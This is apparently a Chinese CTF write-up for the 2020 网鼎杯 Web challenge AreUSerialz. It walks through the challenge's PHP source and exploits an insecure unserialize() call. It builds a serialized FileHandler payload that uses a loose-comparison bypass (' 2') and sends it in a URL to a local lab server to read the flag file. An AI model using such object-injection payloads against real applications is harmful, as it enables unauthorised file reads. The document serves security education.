2020-网鼎杯-青龙组-Web-AreUSerialz解题逻辑

22 阅读1分钟

2020-网鼎杯为往届CTF赛事之一,此文主要提供青龙组-Web-AreUSerialz解题思路。

相关文件为NewFlag.php,ctf2.php,保存至phpstudy的www子文件夹,先分析源代码:

查看源代码查找入口,NewFlag.php只有一个类,显然入口在ctf2.php中:

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
} 

需使用str接收参数,因obj接收的是反序列化的str,推测str是序列号之后的结果,并且反序列化可能会触发__wakeup魔术方法,但没有找到。因程序执行结束会触发__destruct魔术方法,查看__destruct的内容:

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

发现__destruct会调用process方法,查看之:

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

因为获取flag需要查看,推断是使用read方法,需满足op==“2”,查看read:

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = NewFlag::getFlag($this->filename);
    }
    return $res;
}

发现确实可以获取flag。

由以上分析可知,需要先序列化FileHandler类,并且使op同时满足op==“2”和不满足op===“2”。可以使op==“ 2”。 序列化FileHandler类的属性部分和实例化代码,给filename和content也赋值,并将属性从protect改为public以防乱码。

str参数需序列化代码如下:

<?php
class FileHandler {
    public $op=" 2";
    public $filename="tmpfile";
    public $content="Hello World!";
}
$fh=new FileHandler();
echo (serialize($fh));
?>

序列化后为:

O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:7:"tmpfile";s:7:"content";s:12:"Hello World!";}

启动phpstudy,PHP需要切换版本为7.2.10才能复现漏洞,切换后在浏览器输入url:

http://127.0.0.1/ctf2.php?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}

,最终得到flag:

image.png